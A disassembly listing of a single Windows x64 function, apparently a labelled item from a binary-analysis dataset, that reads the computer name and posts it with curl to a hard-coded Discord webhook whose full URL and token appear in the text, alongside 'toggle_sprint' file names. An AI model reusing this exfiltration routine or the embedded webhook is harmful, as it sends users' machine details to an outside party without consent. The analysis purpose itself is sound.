Function at 0x140001220
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x10020]
mov eax, 0x10120
call fcn.1400654d0
sub rsp, rax
mov rax, qword [0x140081840]
xor rax, rsp
mov qword [rbp + 0x10010], rax
xor r15d, r15d
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
mov ecx, 0x80
call fcn.140065160
mov rcx, rax
mov qword [rbp - 0x18], rax
movdqa xmm0, xmmword [0x1400787c0]
movdqu xmmword [rbp - 8], xmm0
movaps xmm0, xmmword [str.https:__discord.com_api_webhooks_1254811191545565264_foGjUU1ymrJWS_eUX3I5v0pq0fnwlmrYWu2K5ETJ5ikq2MgCl59U4tZnToMrRsvtQ31u]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400786a0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400786b0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400786c0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400786d0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400786e0]
movups xmmword [rax + 0x50], xmm1
movaps xmm0, xmmword [0x1400786f0]
movups xmmword [rax + 0x60], xmm0
movsd xmm0, qword [0x140078700]
movsd qword [rax + 0x70], xmm0
movzx eax, byte [0x140078708]
mov byte [rcx + 0x78], al
mov byte [rcx + 0x79], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140065160
mov qword [rbp - 0x38], rax
movdqa xmm0, xmmword [reloc.WS2_32.dll_recvfrom]
movdqu xmmword [rbp - 0x28], xmm0
movups xmm0, xmmword [str.toggle_sprint.txt]
movups xmmword [rax], xmm0
movzx edx, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rax + 0x10], dl
mov byte [rax + 0x11], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140065160
mov qword [rbp - 0x58], rax
movdqa xmm0, xmmword [reloc.WS2_32.dll_recvfrom]
movdqu xmmword [rbp - 0x48], xmm0
movups xmm0, xmmword [str.toggle_sprint.ahk]
movups xmmword [rax], xmm0
movzx ecx, byte [0x140078738]
mov byte [rax + 0x10], cl
mov byte [rax + 0x11], r15b
mov ecx, 3
call fcn.140001c80
call fcn.140001a10
mov r14, rax
test rax, rax
je 0x1400017df
lea r8, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova r8, qword [rbp - 0x18]
mov edx, 0x2712
mov rcx, rax
call fcn.140006b40
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rcx, qword [rbp - 0x38]
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rax, qword [rbp - 0x58]
mov dword [rsp + 0x40], reloc.WS2_32.dll_recvfrom
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], rax
mov edi, 0xa
mov dword [rsp + 0x20], edi
lea r9, str.file
mov r8d, 1
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140002940
mov dword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
lea rax, str.Hello_World
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
lea r9, str.content
mov r8d, 1
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140002940
mov dword [rbp - 0x80], 0x7fff
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rbp + 0x10]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140001480
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x1400018ff
movabs r12, 0x7fffffffffffffff
cmp rbx, 7
ja 0x1400014d7
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x78]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx - 0x78], r15w
jmp 0x140001568
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x14000151c
lea rcx, [r12 + r12]
cmp rcx, 0x1000
jb 0x14000153d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400018f3
mov rcx, rax
call fcn.140065160
test rax, rax
je 0x1400017d3
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001545
mov rsi, rax
cmp rax, rdi
cmovb rsi, rdi
lea rcx, [rsi + 1]
cmp rcx, r12
ja 0x1400018f3
add rcx, rcx
jne 0x1400014e7
mov rdi, r15
jmp 0x140001545
call fcn.140065160
mov rdi, rax
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x10]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + rdi], r15w
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 7
cmova rdx, qword [rbp - 0x78]
mov rax, qword [rbp - 0x68]
lea rsi, [rdx + rax*2]
lea rbx, [rbp - 0x78]
cmova rbx, qword [rbp - 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
cmp rbx, rsi
jne 0x1400015ad
mov ecx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], rcx
mov byte [rsp + 0x60], 0
jmp 0x1400016b2
sub rsi, rbx
sar rsi, 1
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
cmp rsi, r12
ja 0x140001905
mov edi, reloc.WS2_32.dll_ntohs
cmp rsi, rdi
jbe 0x140001669
mov rdi, rsi
or rdi, 0xf
cmp rdi, r12
jbe 0x14000161c
mov rdi, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140065160
mov rcx, rax
test rax, rax
je 0x14000177d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], rdi
jmp 0x14000166e
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001640
mov rax, r15
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], rdi
jmp 0x14000166e
cmp rcx, 0x1000
jb 0x140001658
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400018f9
jmp 0x1400015f0
call fcn.140065160
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], rdi
jmp 0x14000166e
mov rax, qword [rsp + 0x60]
lea r9, [rsp + 0x60]
cmp rdi, 0xf
cmova r9, rax
mov rcx, r9
mov rdx, rsi
test rsi, rsi
je 0x1400016a3
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rbx, [rbx + 2]
sub rdx, 1
jne 0x140001690
mov qword [rsp + 0x70], rsi
mov byte [r9 + rsi], 0
mov rcx, qword [rsp + 0x78]
lea rax, [rsp + 0x60]
cmp rcx, 0xf
cmova rax, qword [rsp + 0x60]
mov dword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
lea r9, str.username
mov r8d, 1
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140002940
mov r8, qword [rsp + 0x50]
mov edx, 0x2728
mov rcx, r14
call fcn.140006b40
mov rcx, r14
call fcn.140001a80
test eax, eax
je 0x140001737
mov ecx, eax
call fcn.140003350
mov rbx, rax
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
mov r8, rbx
lea rdx, str.curl_easy_perform___failed:__s_n
call fcn.140001010
mov rcx, r14
call fcn.1400019e0
mov rcx, qword [rsp + 0x50]
call fcn.140002970
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001789
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001784
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001784
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006519c
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 7
jbe 0x1400017df
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006519c
call fcn.140001c20
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140001823
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000181e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000181e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006519c
movdqa xmm0, xmmword [0x1400787a0]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14000187a
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000186d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000186d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006519c
movdqa xmm0, xmmword [0x1400787a0]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x1400018c1
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006519c
xor eax, eax
mov rcx, qword [rbp + 0x10010]
xor rcx, rsp
call fcn.140065140
lea r11, [rsp + 0x10120]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001160
nop
call fcn.140001160
nop
call fcn.140001200
nop
call fcn.140001200
int3